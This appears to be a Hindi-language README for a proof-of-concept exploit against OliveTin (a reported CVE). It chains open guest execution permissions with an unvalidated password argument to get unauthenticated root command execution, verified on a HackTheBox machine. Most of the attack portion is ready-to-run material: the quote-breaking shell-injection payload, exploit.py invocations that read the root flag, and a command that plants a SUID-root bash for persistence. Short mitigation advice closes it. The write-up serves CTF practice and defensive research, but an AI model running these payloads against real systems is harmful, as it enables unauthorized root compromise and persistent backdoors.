
OliveTin के लिए प्रमाण-अवधारणा शोषण, असुरक्षित अतिथि डिफ़ॉल्ट और अमान्य तर्क प्रकारों के माध्यम से बिना प्रमाणीकरण के RCE (CVE-2026-30225), जो कमजोर इंस्टेंस पर रूट शेल सक्षम करता है।
OliveTin इंस्टेंस के खिलाफ विशेषाधिकार वृद्धि / रिमोट कोड निष्पादन के लिए PoC जो शिप किए गए गेस्ट डिफ़ॉल्ट के साथ चलते हैं। रूट के रूप में चल रहे OliveTin 3000.10.0 के खिलाफ सत्यापित (HTB: Enigma), जहां यह एक अनधिकृत रूट शेल देता है।
⚠️ केवल अधिकृत परीक्षण। शिक्षा, CTF खेल और रक्षात्मक अनुसंधान के लिए प्रकाशित। उन सिस्टमों के खिलाफ उपयोग करना जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है, अवैध है। कोई वारंटी नहीं। LICENSE देखें।
OliveTin का उदाहरण / डिफ़ॉल्ट कॉन्फ़िग शिप करता है:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
इसके साथ, एक अनधिकृत कॉलर (WhoAmI → "guest") StartActionAndWait को आमंत्रित कर सकता है और कोई भी एक्शन चला सकता है। एक्शन OliveTin प्रोसेस यूज़र के रूप में निष्पादित होते हैं — अक्सर root।
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
ये प्रकार बिल्कुल सत्यापित नहीं हैं। कोई भी एक्शन जिसका shell: टेम्पलेट ऐसे तर्क को इंटरपोलेट करता है, शेल-इंजेक्शन सिंक है। Enigma पर लाइव /etc/OliveTin/config.yaml में शामिल है:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- असत्यापित, -p'...' के अंदर स्थित
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # -p'…' कोट को बंद करता है, <cmd> को चेन करता है, और # अनुगामी ' <db_name> > /opt/backups/backup.sql को कमेंट करता है।
रूट OliveTin के खिलाफ A + B = रूट के रूप में अनधिकृत RCE।
RestartAction ऑथ-संदर्भ ड्रॉपRestartAction कॉलर के ऑथ हेडर/कुकीज़ को ले जाए बिना आंतरिक अनुरोध को पुनर्निर्मित करता है, इसलिए एक पुनः-रन हमेशा गेस्ट उपयोगकर्ता के रूप में हल होता है (ACL बाईपास जब गेस्ट कॉलर से अधिक विशेषाधिकार प्राप्त होता है)। 3000.11.1 में ठीक किया गया।
≤ 3000.10.x बिल्ड पर हैंडलर अतिरिक्त रूप से आधा-कार्यान्वित है (// FIXME) और एक खाली BindingId आगे भेजता है, इसलिए यह केवल action with ID "" not found लौटाता है और कुछ भी पुनः निष्पादित नहीं कर सकता। test-restart रिपोर्ट करता है कि लक्ष्य वास्तव में क्या करता है। Enigma पर यह पथ एक नो-ऑप है — समस्या A + B ही कोड निष्पादन देती हैं।
requests — pip install -r requirements.txt127.0.0.1:1337; आवश्यकतानुसार टनल/पिवट करें — Enigma पर केवल uid 1000 पोर्ट तक पहुंच सकता है)।./exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check पहचान, एक्शन सूची, इंजेक्टेबल तर्क, CVE-2026-30225 स्थिति
test-restart केवल RestartAction व्यवहार की जांच करें
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' प्रमाणित स्थानीय उपयोगकर्ता के रूप में कार्य करें (वैकल्पिक)
# recon
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: रूट के रूप में कमांड चलाएं
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# स्थायी शेल के लिए SUID-root bash ड्रॉप करें
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# फिर: /tmp/rb -p
StartActionAndWait कमांड का stdout logEntry.output में लौटाता है, इसलिए आउटपुट (फ्लैग, uid=0(root), …) सीधे प्रतिक्रिया में वापस आता है।
check हर दृश्यमान एक्शन को सूचीबद्ध करता है और उन्हें फ्लैग करता है जिनके तर्क नो-सत्यापन प्रकार का उपयोग करते हैं। एक चुनें, पता लगाएं कि तर्क उसके shell: स्ट्रिंग में कैसे कोट किया गया है (--quote single|double|none), फिर exploit --inject <arg> --cmd '<payload>'। किसी भी डैशबोर्ड पर नहीं दिखाए गए एक्शन अभी भी ID द्वारा चलाए जा सकते हैं (--action <id>)।
authRequireGuestsToLogin: true और गेस्ट/डिफ़ॉल्ट अनुमतियों से exec हटाएं; प्रत्येक ACL को वह न्यूनतम दें जिसकी उसे आवश्यकता है।user:)।type की परवाह किए बिना हमलावर-नियंत्रित मानें; तर्कों को shell: स्ट्रिंग्स में इंटरपोलेट करने से बचें — exec: argv फॉर्म पसंद करें और कठोरता से कोट/सत्यापित करें।RestartAction एक्शन को गेस्ट के रूप में चलाता हैinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)HTB: Enigma (www-data → haris → OliveTin → root) को रूट करते समय अनुसंधान और PoC।